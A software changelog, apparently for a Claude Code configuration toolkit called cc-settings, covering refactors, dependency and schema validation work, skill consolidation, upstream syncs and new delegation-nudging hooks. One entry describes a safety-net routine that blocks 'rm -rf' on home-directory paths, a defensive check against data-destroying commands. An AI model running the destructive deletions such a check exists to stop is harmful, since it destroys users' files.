refactor: thread key through Strategy in settings-merge

Closes the last deferred finding from the second-pass /nuclear-review. userWinsScalarStrategy previously called resolveScalarConflict with a literal "<scalar>" placeholder because the orchestrator didn't pass the key it was iterating over. Visible to anyone running setup.sh --interactive with a top-level scalar conflict on an unknown key — the prompt read " differs between your settings and team" instead of e.g. "model differs…".

Threaded key: string as the first parameter of the Strategy type. The orchestrator at src/lib/settings-merge.ts:451 now passes the current key. userWinsScalarStrategy uses it in the resolveScalarConflict call; the other four strategies (permissions, hooks, env, statusLine) accept it as _key because they label their internal sub-prompts with hardcoded paths like permissions.${k} already. 20 test call sites in tests/settings-merge.test.ts updated to pass the strategy's registered key ("permissions", "hooks", "env", "statusLine", "model" for the generic scalar tests).

No behavior change for non-interactive merges. Interactive merge prompts now name the conflicting key.

refactor: nuclear-review batch 2 — runGit consolidation + pad mop-up + safety-net cleanup

Seven mechanical findings from the second-pass /nuclear-review:

  1. runGitFull lifted to src/lib/git.ts. New rich-shape variant returns { exit, stdout, stderr } so scripts that need failure inspection or stderr stop rolling their own. Removed the two local copies in src/scripts/checkpoint.ts and src/upstream/scan.ts. The string-returning runGit is unchanged; common-path callers stay simple.
  2. pad() consolidation finished. Two more inline reimplementations dropped from src/scripts/stop-failure.ts and src/scripts/claude-audit.ts in favor of the canonical export from src/lib/platform.ts (the morning pass caught 3; this pass catches the remaining 2).
  3. safety-net.ts checkRmRf — six $HOME / ${HOME} literal comparisons collapsed into HOME_PATH_PREFIXES + isExactHomePath / startsWithHomePath helpers, used in both the BLOCK and ALLOW paths.
  4. safety-net.ts stripGitGlobalOpts — four near-identical regex branches collapsed into a GIT_GLOBAL_OPT_PATTERNS array + single loop.
  5. Dropped unused stat import from src/scripts/checkpoint.ts.
  6. Deleted stale "Phase 3 will replace…" comment from src/scripts/session-start.ts — the replacement shipped in v10.x.
  7. Made cmdList / cmdClean in checkpoint.ts async-consistent (readdir / unlink instead of *Sync variants; matches cmdSave's existing pattern).

The <scalar> placeholder fix called out as "deferred" in the commit message landed in the next commit (see thread key through Strategy entry above). The other deferred item — claude-audit.ts date helpers — stays in-file (single consumer; premature to extract).

No behavior change. Typecheck clean, biome clean, lint:skills clean.

refactor: drop readJsonOrNull<T> type-lie

The <T> generic on src/lib/mcp.ts:readJsonOrNull was a fiction — callers got T | null but the value was actually unknown dressed as T via a cast inside the function. Every meaningful caller did its own pattern-match or safeParse anyway, so the type parameter only obscured the boundary that v11.3.1's safeParse closure work was meant to guard. Dropped the generic; signature is now (path: string) => Promise<unknown>. The four meaningful callers (src/setup.ts, src/lib/status.ts ×2, src/lib/settings-merge.ts ×2 already cast) cast at the call site, making the unsafety visible. Closes finding 3 from the nuclear-review audit. No behavior change.

[11.3.1] — 2026-05-22

refactor: dependency review + safeParse boundary closure + upstream sync 2.1.148

Post-11.3.0 cleanup pass driven by a context7 audit of every runtime dependency.

Dependency review (@inquirer/prompts, yaml, zod)

  • @inquirer/prompts ^8.4.2 → @inquirer/confirm ^6.0.13. We only ever used confirm; the standalone subpackage has a smaller install footprint with no API change beyond the default-import form.
  • yaml: 3 call sites collapsed through the canonical src/lib/frontmatter.ts:parseFrontmatter. New parseFrontmatterStrict uses parseDocument so the skill linter now reports YAML errors with line, column, and zod error code — e.g. "BLOCK_AS_IMPLICIT_KEY at line 3, col 14: Nested mappings are not allowed in compact mappings" instead of a bare message.
  • zod: dropped the (Settings as unknown as { shape: ... }).shape cast in src/upstream/scan.ts — zod 4 types .shape publicly, no cast needed.

safeParse at JSON-deserialize boundaries (two commits)

~/.claude/settings.json and ~/.claude.json are user-controlled. Hot read paths previously cast JSON.parse(...) as the expected type without validation. Closed the gap at five sites:

  • src/lib/mcp.ts — readMcpFromSettings validates via McpServers.safeParse; logs debug + returns {} on failure. installMcpToClaudeJson validates team + current reads; logs debug and preserves raw on failure to avoid data loss on forward-compat drift (design choice documented inline).
  • src/lib/audit-hooks.ts — auditSettingsFile validates the hooks block against HooksBlock; schema mismatch surfaces as an audit finding (severity unknown) instead of crashing the audit.
  • src/setup.ts — installSettings validates via Settings.safeParse; fingerprint best-effort on schema failure (forward-compat).
  • src/lib/settings-merge.ts — mergeSettingsWithMcpPreservation validates userRaw and teamRaw at the top; on schema failure logs debug and proceeds with the raw object.
  • src/lib/status.ts — sentinel file (.cc-settings-version) validates against new exported VersionSentinel schema; null fields on failure (treat as absent).

zod 4 string parsing is 14.7× faster than zod 3 per the official benchmark, so the perf cost of validation is negligible at these boundaries.

Upstream sync 2.1.146 → 2.1.148

Reviewed every change in Claude Code 2.1.147 and 2.1.148:

  • 2.1.148: single Bash exit-code-127 regression fix. Inert for cc-settings.
  • 2.1.147: ~35 bug fixes (background sessions, auto-updater, hook if-pattern parser, PowerShell, MCP pagination, agent view, slash-command edge cases). Inert.
  • 2.1.147 single breaking rename: /simplify → /code-review with semantics changed (now reports correctness bugs at chosen effort, no longer the cleanup-and-fix command). References updated in skills/refactor/SKILL.md, skills/zero-tech-debt/SKILL.md, MANUAL.md to point at /zero-tech-debt (in-diff tightening niche).

Schema surface: no new settings keys, hook events, env vars, agent contracts, or MCP fields. Upstream scanner reports no drift after the bump.

Other

  • Lint cluster: bun run lint now reports 0 warnings (was 4 pre-existing — parallelmax-judge optional chain, two template-literal-in-string warnings, one non-null assertion). Auto-fix swept imports + formatting across 10 files.
  • Stale doc fix: docs/consolidation-audits/2026-05.md marks the web-vitals/performance row as superseded by v11.3.0.

Tests

303 (pre-11.3.0) → 349 (after 11.3.0 dep work) → 363 (after safeParse extension). +60 across the post-11.3.0 cycle.

[11.3.0] — 2026-05-21

refactor: thermonuclear cleanup — skills 37→26, oracle→explore, mcp.ts split, +unit tests

A six-tier cleanup pass across the whole codebase. Behavior-preserving where it mattered (the golden-migration tests still gate everything); ambitious about structural simplification everywhere else.

Skills consolidation (37 → 26, freed 11 slots)

  • Retired: audit (CLI alias), lenis (narrow third-party setup), share-learning (gh-CLI wrapper; routing rules relocated to AGENTS.md).
  • Merged: create-handoff + resume-handoff → handoff; discovery + prd → plan-feature; ask + premortem + compare-approaches → oracle (three modes); tdd folded into test; cc-sync + cc-update → cc; long-task folded into orchestrate.
  • Demoted: write-a-skill → bun run new-skill <name> CLI + docs/skill-authoring.md.

Agents

  • agents/oracle.md merged into agents/explore.md (blast-radius workflow, evidence-based answer template, never-speculate principles preserved). Agent(oracle, …) references across skills/profiles/docs swept to Agent(explore, …).
  • profiles/maestro.md slimmed 108 → ~40 lines (deep reference is agents/maestro.md).
  • agents/planner.md inline ADR/trade-off/plan templates replaced with pointers to docs/architecture-reference.md, docs/thread-types.md, docs/enhanced-todos.md.
  • Self-Evolving Learnings block centralized in AGENTS.md; implementer/planner/reviewer reference it instead of duplicating.
  • Frontmatter drift: maxTurns caps added to scaffolder/tester/deslopper/reviewer; reviewer gains isolation: worktree.

src/ refactor

  • src/lib/mcp.ts split 611 → 177 lines. New src/lib/settings-merge.ts exports the 5 merge strategies (permissionsStrategy, hooksStrategy, envStrategy, statusLineStrategy, userWinsScalarStrategy) and the orchestrator individually — previously private closures.
  • cmdStatus in setup.ts (125-line monolith) refactored into gatherStatus(): StatusData (new src/lib/status.ts + status-types.ts) and printStatus(data).
  • Shared src/lib/frontmatter.ts extracted — was duplicated across lint-skills.ts, skill-prereqs.ts, frontmatter-validate.ts.
  • src/lib/audit-hooks.ts now uses Hook/HookGroup from src/schemas/hooks.ts instead of local RawHook* interfaces (schema-drift fix).
  • src/lib/skill-prereqs.ts drops the unknown cast on requires — uses typed SkillFrontmatter.requires directly.
  • src/scripts/lint-skills.ts slimmed to match audit-hooks.ts 5-line CLI wrapper style.
  • 34 new unit tests across tests/settings-merge.test.ts (per-strategy coverage) and tests/status.test.ts (gatherStatus on temp fixtures).

Rules

  • rules/web-vitals.md absorbed into rules/performance.md (CLS font fallback metrics, PerformanceObserver debug, budgets table); web-vitals deleted. Cluster went 3 files → 2.
  • 5 drift instances canonicalized with 1-line pointers at non-canonical locations: React Compiler memoization rule (rules/react-perf.md), && with numbers (rules/react.md), defer-awaits (rules/performance.md), secret file list (rules/security.md), typography utilities (rules/ui-skills.md).

Housekeeping

  • docs/migration-coexistence.md deleted (self-archived).
  • config/20-mcp.json _comment/_status keys stripped (non-standard JSON); relocated to docs/settings-reference.md.
  • src/setup.ts backup-prune loop parallelized.
  • src/lib/packages.ts linux/wsl probe branches deduplicated.

README

  • Tightened 356 → 84 lines. Cut marketing prose, comparison table, philosophy, FAQ. Kept: one-sentence pitch, install, what-gets-installed map, common commands, doc pointers.

Net

  • 38 files modified, ~720 LOC removed from production code/docs.
  • 34 new unit tests (303 → 338 passing).
  • Skill library at 26/40 with 14 slots of runway.

[11.2.1] — 2026-05-19

fix: implementer briefing contract + sync with Claude Code v2.1.144

The upstream v2.1.144 release is a pure bug-fix window — terminal renderer fixes, background-session crashes, MCP pagination, Windows-only fixes — with no new settings keys, hook types, env vars, or agent contracts to adopt. Patch bump on the manifest only.

The substantive change this release is local: the implementer agent now refuses thin prompts and the skills that orchestrate it now construct real briefings instead of emitting unresolved placeholders.

Fixed

  • agents/implementer.md: added a REQUIRED BRIEFING block to the description: (visible to orchestrators at delegation time) and a Briefing Gate to the system prompt. The agent now audits its own prompt against a 5-item checklist (user ask verbatim, file paths + line ranges, the concrete change to make, verification command, scope boundary) and refuses to start work with a structured "Briefing incomplete: missing X" reply rather than guessing. isolation: worktree means implementer boots in a fresh origin/main checkout with zero in-session context — a thin prompt was the dominant cause of regressions.
  • skills/fix/SKILL.md: the Agent Delegation block previously sent the literal string [summary from explore] to implementer — a placeholder no harness interpolated. Replaced with orchestrator instructions that build the briefing from prior agent output before invocation.
  • skills/refactor/SKILL.md: same anti-pattern ("Refactor according to plan.") — same treatment, now instructs the caller to paste the actual planner output.
  • profiles/maestro.md: replaced [4] Agent(implementer, "implement based on plan") with explicit "paste the planner output verbatim" wording.
  • CLAUDE-FULL.md Delegation section: added a briefing-contract callout under the implementer rule pointing at the full contract in the agent definition.

Skipped (upstream bug fixes, no cc-settings surface)

Captive-portal startup hang (75s → 15s), terminal rendering corruption fixes (window-resize garble, progressive corruption, VS Code spinner glitches, Windows CJK ghost chars), macOS background-session Full Disk Access regression, image-extension-mismatch crash, head/tail satisfying read-before-edit, egrep/fgrep/git grep/git diff exit-code 1 no longer reported as failure, /branch in worktrees, Escape in AskUserQuestion notes, IDE / applyFlagSettings model selection, resumed-session model retention, Bedrock/Vertex Opus 1M regression (v2.1.129), forceLoginMethod/forceLoginOrgUUID remote login, MCP paginated tools/list dropping pages, MCP SVG MIME fallback, file-descriptor exhaustion in skill dirs (non-.md no longer triggers reloads — beneficial side effect for cc-settings), session-title-from-plugin-monitor, Skill tool headless permission regression (v2.1.141), claude mcp list silent failure on bad .mcp.json, custom ANTHROPIC_BASE_URL Haiku fallback, Windows scrolling in attached bg sessions, terminal-close crash, ! exec Ctrl+C, agent view shell-command rows, Windows arrow-key in claude agents, /bg / ←-detach preserving /add-dir, in-place-edit Edit/Write refusal after detach, claude respawn status, /resume forked-from-bg, claude agents/claude logs hang on unresponsive bg service (10s timeout), bg Bash tasks stuck Running, wake-fail marked as startup crash, markdown links in agents, spinnerVerbs post-turn restoration, claude --bg --name echo, Ctrl+R rename banner, non-git VCS worktree-isolation guard, CLAUDE_CODE_PLUGIN_PREFER_HTTPS add/update regression, /plugin post-action navigation, /doctor exec-form hint, skill-listing truncation moved to /doctor, pre-response stream-stall retry, SDK/headless MCP startup overlap (~2s faster), /extra-usage → /usage-credits rename (we reference neither), survey follow-up hint.

Files changed

  • agents/implementer.md
  • skills/fix/SKILL.md
  • skills/refactor/SKILL.md
  • profiles/maestro.md
  • CLAUDE-FULL.md
  • upstream/claude-code-manifest.json
  • src/setup.ts
  • CHANGELOG.md

[11.2.0] — 2026-05-18

feat: sync with Claude Code v2.1.143

Routine upstream sync covering 2.1.140 → 2.1.143. Adopts the new contracts (env vars, settings field, hook output field) so the zod schemas accept them and the docs reference them. Most of the upstream churn in this window is UI/plugin/Windows fixes that have no cc-settings surface.

Adopted

  • worktree.bgIsolation: "none" setting (v2.1.143) — src/schemas/settings.ts. Lets background sessions edit the working copy directly without EnterWorktree. For repos where worktrees are impractical.
  • terminalSequence hook output field (v2.1.141) — docs/hooks-reference.md. Hooks can emit desktop notifications, window titles, and terminal bells through their JSON output without a controlling terminal. (Docs-only; the zod schema models hook input, not output.)
  • 6 new env vars in knownEnvVars (manifest) + env-vars table:
    • ANTHROPIC_WORKSPACE_ID (v2.1.141) — workspace-scoped workload identity federation
    • CLAUDE_CODE_PLUGIN_PREFER_HTTPS (v2.1.141) — HTTPS clone for plugin sources behind SSH-blocking proxies
    • CLAUDE_CODE_OPUS_4_6_FAST_MODE_OVERRIDE (v2.1.142) — pin fast mode to Opus 4.6 (default is now Opus 4.7)
    • CLAUDE_CODE_STOP_HOOK_BLOCK_CAP (v2.1.143) — cap Stop-hook block-loop length (default: 8)
    • CLAUDE_CODE_POWERSHELL_RESPECT_EXECUTION_POLICY (v2.1.143) — opt out of PowerShell ExecutionPolicy Bypass default
    • CLAUDE_CODE_USE_POWERSHELL_TOOL — already in the manifest; documentation added for the new Windows-default-on behavior

Deletions / Native-now-redundant

None this cycle. The /loop redundant-wakeup fix (v2.1.140) and the case-insensitive subagent_type matching (v2.1.140) are pure upstream improvements; we have no compensating shims to remove.

Skipped

~25 upstream entries: plugin-management UX, Windows-only fixes, claude agents CLI flag additions, /feedback//plugin//web-setup UI, rewind menu, MCP_TOOL_TIMEOUT fix, reactive-compaction internal improvement, hook config error wording, agent color palette, settings hot-reload symlink fix, plugin folder-shadowing warnings — none affect schemas, hooks, or our config surface.

Files changed

  • Modified: upstream/claude-code-manifest.json, src/schemas/settings.ts, docs/settings-reference.md, docs/hooks-reference.md, src/setup.ts (VERSION 11.1.4 → 11.2.0), CHANGELOG.md

[11.1.4] — 2026-05-13

fix: statusline ↻time-to-reset suffix renders again

The ↻Xh:XXm reset countdown next to the ⚡ rate-limit segment had been silently missing since Claude Code's statusline payload settled on Unix epoch seconds for rate_limits.five_hour.resets_at. Our hook called Date.parse() on that integer — Date.parse(1738425600) returns NaN, so formatTimeToReset returned null and the suffix was dropped without warning. v11.0.5 shipped the feature with an ISO-string mock and never caught the type mismatch against real Claude Code output.

Fix

  • src/hooks/statusline.ts:
    • formatTimeToReset now detects epoch-second input (> 1e9), multiplies to ms, and falls back to Date.parse for ISO strings (legacy/test compatibility).
    • Payload.rate_limits.five_hour.resets_at widened to number | string. Added seven_day block alongside five_hour — the official statusline docs list both windows.

Verified against three payload shapes

epoch seconds (current)   → ⚡30% ↻3h20m
ISO string (legacy)        → ⚡30% ↻3h20m
past timestamp             → ⚡30%        (suffix correctly suppressed)

Files changed

  • Modified: src/hooks/statusline.ts, src/setup.ts (VERSION 11.1.3 → 11.1.4)

[11.1.3] — 2026-05-13

feat: 4 React rules folded in from react-doctor research

Evaluated millionco/react-doctor (static analyzer, 9.1k★) and aidenybai/react-scan (runtime re-render overlay, 21.3k★) as potential cc-settings adoptions. Verdict on both: skip the tools, fold the worthwhile rule knowledge directly into our path-conditioned rules/.

Why skip the tools:

  • react-doctor is a CI-time static analyzer; cc-settings is prompt-time guidance. The skill it auto-installs into Claude Code is a 4-line CLI wrapper, not encoded rule knowledge. False positives on Next.js Route Handlers (Issue #206) and unclear React Compiler awareness — both load-bearing for Darkroom projects.
  • react-scan is broken with React Compiler (Issues #378, #229 — compiler-memoized components misreported, or re-renders go silent). Every Darkroom project runs Compiler, so acting on its output could cause engineers to add explicit memo/useMemo calls the Compiler then fights. No CI mode, so can't slot into /lighthouse or /qa. Revisit when RFC #207 + #305 land.

What we DID fold in (4 rules across 2 files):

  • rules/react.md — three new DON'Ts:
    • Don't cascade setState calls — consolidate to one setter or derive; cascading fights React's batching and creates stale-closure bugs.
    • Don't put useState / useEffect / refs in a Server Component — Next.js App Router build error; split into Server (fetch) + Client (interact) pair.
    • Don't make a Client Component async — 'use client' + async function = runtime error; the data fetch belongs one boundary up.
  • rules/react-perf.md — one new bullet in the React Compiler Note section:
    • Inline JSX literals (<Button style={{ color: 'red' }} onClick={() => doThing()} />) are FINE under Compiler. The classic "don't put object/function literals in JSX" advice is pre-Compiler folklore. Don't extract them into useMemo / useCallback to "fix" something the Compiler already handles.

What we DIDN'T fold:

no-barrel-imports — already covered by rules/performance.md's "Direct imports over barrels" section.

react-scan's runtime-only signals (real-interaction render counts, context-subscriber blast detection) — no prompt-time rule can substitute for runtime observation. Left as a "revisit later" note.

Files changed

  • Modified: rules/react.md, rules/react-perf.md, src/setup.ts (VERSION 11.1.2 → 11.1.3)

[11.1.2] — 2026-05-13

chore: doc pass + deslop residue from v11.1.1

Post-v11.1.1 audit pass caught documentation drift the consolidation left behind, plus residual dead code the deslopper found on a deeper sweep. All structural — no behavior changes.

Documentation — stale references after v11.1.0 + v11.1.1 cuts

  • CLAUDE.md — src/scripts/ description listed "learning" as an example one-shot script; that file was deleted in v11.1.1.
  • CLAUDE.md, README.md — bench/ description still claimed "Performance benchmarks + regression gate"; only bench/prototype/ survives. Updated both to name the surviving directory and note the v11.1.1 retirement.
  • hooks/README.md — session-start.ts row described "recalls learnings"; the script now surfaces an auto-memory pointer (the learning.ts recall path was retired in v11.1.1).
  • docs/hooks-reference.md — same session-start.ts row update.
  • docs/hooks-reference.md "Adding New Hooks" → Best Practices — added a bullet pointing hook authors at the new src/lib/hook-runtime.ts helpers (readHookInput, readState, writeState, runHook) with the three parallelmax hooks named as reference implementations.

Dead code — ensureNpmGlobal function body

v11.1.1 removed the unused ensureNpmGlobal import from src/setup.ts but left the function body alive in src/lib/packages.ts (~22 lines). Confirmed zero callers across the repo (the only consumer was the retired docs skill's install hook). Deleted.

Files changed

  • Modified: CLAUDE.md, README.md, hooks/README.md, docs/hooks-reference.md, src/lib/packages.ts, src/setup.ts (VERSION 11.1.1 → 11.1.2)

Sessional learning — worktree base-ref gotcha

The implementer agent dispatched for this doc pass with isolation: "worktree" worked off origin/main (still at v11.0.5 since this session's work hadn't been pushed), then overwrote the v11.1.0 doc cleanup on copy-back. Caught it via git diff HEAD and restored before committing. Lesson: ALWAYS commit current state before dispatching a worktree-isolated agent so the agent's base ref reflects unpushed work. For truly excellent worktree use, isolation: "worktree" + push-or-commit-first is the only safe pattern when local HEAD is ahead of origin.


[11.1.1] — 2026-05-13

refactor: accelerationist cleanup — retire bash-era bench, retire local-tier learning, extract hook-runtime helper

Post-v11.1.0 deslop pass surfaced three orphan systems that the consolidation narrative had implied retired but hadn't actually cut. This release finishes those cuts and extracts a tiny shared library for the new hook trio.

Deleted — bash-era benchmark harness

The bench harness pre-dated the bash→TS migration (April 2026). bench/run-baseline.ts hardcoded join(REPO, "scripts") — a directory deleted when the bash scripts were ported — meaning every run silently timed nothing and produced garbage numbers. bench/regression-check.ts chained into it. bench/baseline-bash.json was a frozen snapshot from the bash era. The bench:baseline / bench:check package.json scripts and the CI job that ran them were also dead.

  • bench/run-baseline.ts, bench/regression-check.ts, bench/baseline-bash.json — deleted (git rm).
  • package.json — removed bench:baseline and bench:check script entries. prototype:compile (which points at bench/prototype/) preserved.
  • .github/workflows/ci.yml — removed the bench: job that ran bun run bench:check on macOS.
  • CLAUDE.md (project-level) — removed the two Bench baseline / Bench regression lines from the Development commands list.

bench/prototype/ is untouched — it's unrelated exploratory code.

Deleted — learning.ts local tier (finishing the v11.1.0 retirement)

The v11.1.0 CHANGELOG declared the local tier "folded into auto-memory" but the underlying src/scripts/learning.ts (~350 lines) and three call-site references survived. Auto-memory at ~/.claude/projects/<hash>/memory/ is the cc-settings-blessed local store. This release deletes the script and updates its three callers.

  • src/scripts/learning.ts — deleted.
  • src/scripts/session-start.ts — removed the Learnings block that read from ~/.claude/learnings/<project>/learnings.json; replaced with a one-line auto-memory pointer.
  • src/scripts/stop-summary.ts — replaced the learning.ts store invocation hint with an auto-memory-equivalent pointer.
  • skills/consolidate/SKILL.md — replaced the learning.ts recall all | wc -l count with a find ~/.claude/projects/*/memory -name "*.md" count; replaced the prune-bash block with prose about reviewing auto-memory entries.
  • skills/README.md — updated the recall example that still referenced learning.ts.

Added — src/lib/hook-runtime.ts (53 lines, four helpers)

The three new v11.1.0 hooks (parallelmax-nudge, delegation-detector, parallelmax-judge) duplicated three patterns:

  1. Bun.stdin.text() → JSON parse → env-var fallback
  2. read/write a state file at ~/.claude/tmp/<name>.json
  3. top-level try { await main(); } catch {} fail-open wrapper

Extracted to src/lib/hook-runtime.ts exporting readHookInput<T>(), readState<T>(name, fallback), writeState(name, data), and runHook(main). Refactored all three hooks to use the helpers — behavior identical, just less repetition.

HookBeforeAfterDelta
parallelmax-nudge.ts8561−24
delegation-detector.ts8877−11
parallelmax-judge.ts165145−20

Net: +53 (new lib) − 55 (across three hooks) = −2 lines, but every future hook gets the helpers for free, and the cc-settings supply-chain auditor still classifies all three as trusted (the helper lives under src/lib/ which is one of the three allowlisted directories).

Also fixed

  • skills/share-learning/SKILL.md — the body invoked learning.ts store --shared which never existed in the TS port (the --shared flag was a documentation aspiration, never implemented). Replaced with direct gh project item-create invocations.
  • src/setup.ts — removed unused ensureNpmGlobal import (orphan from when the retired docs skill installed npm globals; pre-existing lint error).

Files changed

  • Deleted: bench/run-baseline.ts, bench/regression-check.ts, bench/baseline-bash.json, src/scripts/learning.ts
  • Added: src/lib/hook-runtime.ts
  • Modified: package.json, .github/workflows/ci.yml, CLAUDE.md, src/setup.ts, src/scripts/session-start.ts, src/scripts/stop-summary.ts, src/hooks/parallelmax-nudge.ts, src/hooks/delegation-detector.ts, src/hooks/parallelmax-judge.ts, skills/consolidate/SKILL.md, skills/share-learning/SKILL.md, skills/README.md

infra: VERSION 11.1.0 → 11.1.1

Patch bump — refactors and cleanups, no new features.


[11.1.0] — 2026-05-13

feat: parallelmaxxing hooks — counter the Opus 4.7 self-execution bias

Opus 4.7 spawns fewer subagents by default than 4.6 and prefers internal reasoning over delegation. The existing CLAUDE.md delegation rules are rules-as-documentation — read once, then drift. This release wires three runtime hooks that surface the bias in real time rather than relying on the model to police itself.

Added — src/hooks/parallelmax-nudge.ts (PostToolUse, no matcher)

  • File-based counter at ~/.claude/tmp/parallelmax-counter.json. Increments on every tool call, resets when the Agent tool fires (delegation observed).
  • At threshold N=8, emits a hookSpecificOutput.additionalContext payload pointing at Agent(implementer) / Agent(explore) / Agent(maestro) with the live count.
  • 60s debounce, then resets the counter so a single nudge doesn't repeat for the next eight calls.
  • Pure heuristic — zero LLM cost, microsecond runtime. Fail-open on any read/parse error.

Added — src/hooks/delegation-detector.ts (UserPromptSubmit)

  • Regex-scores the incoming prompt for breadth signals: phrases like "do all", "execute the plan", "across the repo", "every file", "fan out"; path-shaped tokens (dir/file.ext); numbered/bulleted lists with 4+ items.
  • Phrases score +2 each; ≥3 path tokens add +1; ≥4 list items add +1.
  • At score ≥ 2, injects a system reminder before the model commits to a plan, naming the matched reasons and pointing at maestro / multi-agent delegation.
  • Pure regex — zero LLM cost.

Added — src/hooks/parallelmax-judge.ts (Stop event, counter-gated)

  • Reads the parallelmax counter first; returns silently if count < 5. Avoids burning Haiku + latency on every turn — only fires on already-suspicious turns.
  • Parses the last ~25 events from transcript_path (JSONL), extracts the most recent user prompt + the assistant's tool sequence.
  • Spawns claude -p --model claude-haiku-4-5-20251001 with the excerpt + the cc-settings delegation rules; Haiku returns DELEGATE: <reason> or OK.
  • On DELEGATE, posts the verdict + reason as additionalContext. 10-min debounce; suppresses duplicate reasons; state at ~/.claude/tmp/parallelmax-judge.json.
  • Uses the user's existing Claude Code auth (OAuth on Max plans where Haiku usage is bundled into the subscription — Anthropic's /goal docs call this "negligible compared to main-turn spend"). 8s timeout on the spawn; fail-open on any error.

All three hooks follow the cc-settings trusted-command convention (bun "$HOME/.claude/src/hooks/<name>.ts") so the supply-chain auditor classifies them as trusted. Verified: bun run audit:hooks reports 51 trusted, 0 unknown, 0 suspicious after install.

refactor: skill consolidation — 38 → 36, plus the dr- prefix convention

The user's effective skill count is around 70+ once native Claude Code skills (loop, schedule, simplify, review, init, security-review, claude-api, …) and plugins (sanity:*, vercel:*) load on top of cc-settings. Anthropic's Skills guide flags 20–50 descriptions as the band where the Skill selector starts struggling. The 40 soft cap on cc-settings was protecting our slice while the user already sat past the upper bound. This release tightens our slice and clarifies the cap's scope.

Deleted — skills/docs/

The Context7 MCP server's own server-level instructions already prompt Claude to use it on any library question. Our /docs <library> slash was a re-statement. Updated all cross-references (8 files) to point at the MCP server directly. The "MANDATORY before adding any external dep" rule migrated to natural-language guidance in the affected skills.

Deleted — skills/figma/

Same shape as docs — the Figma MCP server's instructions cover URL parsing, the design-to-code workflow, and get_design_context as the primary tool. The /figma slash duplicated without adding routing. Updated skills/qa/SKILL.md and MANUAL.md to route directly to the MCP.

Renamed — skills/learn/ → skills/share-learning/

The learn skill had two tiers. The local tier wrote to ~/.claude/learnings/<project>/learnings.json — fully redundant with the auto-memory system in ~/.claude/CLAUDE.md which writes typed memories (user, feedback, project, reference) to ~/.claude/projects/<hash>/memory/. The shared tier (GitHub Project board, team-wide) is genuinely orthogonal. Narrowed share-learning to the shared tier only; local notes defer to auto-memory.

Renamed — skills/init/ → skills/darkroom-init/ → skills/dr-init/

Two consecutive renames in this release. The native Claude Code /init (writes a CLAUDE.md file) collides on the slash command. First rename added "darkroom-" to disambiguate; second rename adopts the new dr- prefix convention for Darkroom-specific cc-settings skills. The dr- prefix mirrors the studio's CSS class namespace. Generic skills (fix, build, review, lenis, …) stay unprefixed because they apply outside Darkroom; only skills that are useless at a non-Darkroom shop carry the prefix.

Tightened descriptions (no rename) — review and refactor

Both names collide with native Claude Code skills. Rather than rename them (the slashes are well-established), descriptions now disambiguate by scope:

  • review — "local pre-commit review of unstaged/staged diff against the Darkroom quality checklist; distinct from native /review which inspects open PRs."
  • refactor — "behavior-preserving restructuring of code that is NOT in your current diff; for tightening just-changed code use native /simplify instead."

The selector now has a clear signal for which to pick.

Net change

38 → 36 cc-settings skills. Four below the 40 cap, headroom for the next two additions before re-evaluating. bun run lint:skills passes; the soft-cap warning stays silent.

feat: /goal cross-references in the loop-shaped skills

Anthropic shipped /goal (a session-scoped wrapper around a prompt-based Stop hook) — Claude keeps turning until a small/fast model judges a stated condition met. Four cc-settings skills are loop-shaped and now point at it with worked conditions:

  • skills/lighthouse/SKILL.md — /goal mobile and desktop scores in all four categories meet their targets, or stop after 20 rounds
  • skills/tdd/SKILL.md — /goal every planned behavior has a passing test and the full suite exits 0
  • skills/fix/SKILL.md — /goal the reproducer test passes and the full suite is green, or stop after 5 attempts
  • skills/long-task/SKILL.md — /goal all phases complete, tsc + lint + tests exit 0, git status is clean

security: SECURITY.md — "Don't disable hooks wholesale"

/goal is implemented as a session-scoped prompt-based Stop hook and reports itself unavailable if disableAllHooks or allowManagedHooksOnly is set at any settings level. The new parallelmaxxing hooks have the same dependency. Users who panic-disable hooks after a verify-hooks warning would lose both. Added a section to SECURITY.md and a caveat to docs/settings-reference.md's disableAllHooks documentation telling users to remove suspicious entries surgically instead. The fingerprint and the in-memory session hooks (/goal, custom prompt hooks) coexist cleanly — the fingerprint only hashes the persisted hooks block.

chore: documentation pass — 10 files updated to match the new surface

33 stale references fixed across README.md, MANUAL.md, CLAUDE-FULL.md, skills/README.md, hooks/README.md, mcp-configs/README.md, docs/frontmatter-reference.md, docs/hooks-reference.md, docs/settings-reference.md, and docs/consolidation-audits/2026-05.md (addendum block; historical record left intact). Counts, skill rows, hook tables, frontmatter examples, and tree diagrams all reflect the new state. Auto-memory pointers replace /learn invocations; the dr- prefix convention is now documented wherever Darkroom-specific skill naming comes up.

infra: VERSION 11.0.5 → 11.1.0

Minor bump for the new hook layer and the consolidation. Installer behavior unchanged. The MANAGED_SKILLS array in src/setup.ts adds dr-init and share-learning and keeps docs, figma, init, learn, darkroom-init in the upgrade-cleanup section so existing installs prune the orphaned directories on next setup.sh.

Files changed

  • New: src/hooks/parallelmax-nudge.ts, src/hooks/delegation-detector.ts, src/hooks/parallelmax-judge.ts, skills/dr-init/SKILL.md, skills/share-learning/SKILL.md
  • Deleted: skills/docs/, skills/figma/, skills/learn/ (renamed), skills/init/ (renamed), skills/darkroom-init/ (renamed)
  • Modified: config/40-hooks.json, src/setup.ts, README.md, MANUAL.md, CLAUDE-FULL.md, SECURITY.md, AGENTS.md indirectly, skills/README.md, hooks/README.md, mcp-configs/README.md, docs/frontmatter-reference.md, docs/hooks-reference.md, docs/settings-reference.md, docs/consolidation-audits/2026-05.md, docs/feature-agents-guide.md, docs/github-workflow.md, docs/knowledge-system.md, contexts/web.md, contexts/webgl.md, profiles/webgl.md, skills/build/SKILL.md, skills/component/SKILL.md, skills/fix/SKILL.md, skills/hook/SKILL.md, skills/lenis/SKILL.md, skills/lighthouse/SKILL.md, skills/long-task/SKILL.md, skills/qa/SKILL.md, skills/refactor/SKILL.md, skills/review/SKILL.md, skills/tdd/SKILL.md

[11.0.5] — 2026-05-13

statusline: 5h-window time-to-reset

The statusline already displayed ⚡<pct>% for the 5-hour rate-limit usage but didn't surface when the window resets. Most cc-settings users are on Claude Max 100/200 (flat-rate) plans where token cost is fixed but quota matters — knowing time-to-reset is the actionable metric, not dollars.

  • src/hooks/statusline.ts — reads rate_limits.five_hour.resets_at (already in the Payload type, was unused). Computes delta from now, formats as 2h14m or 45m. Suppresses when resets_at is missing or in the past. Dim-styled suffix appended after the existing percentage: ⚡63% ↻2h14m.

agents.md: Cache Discipline section

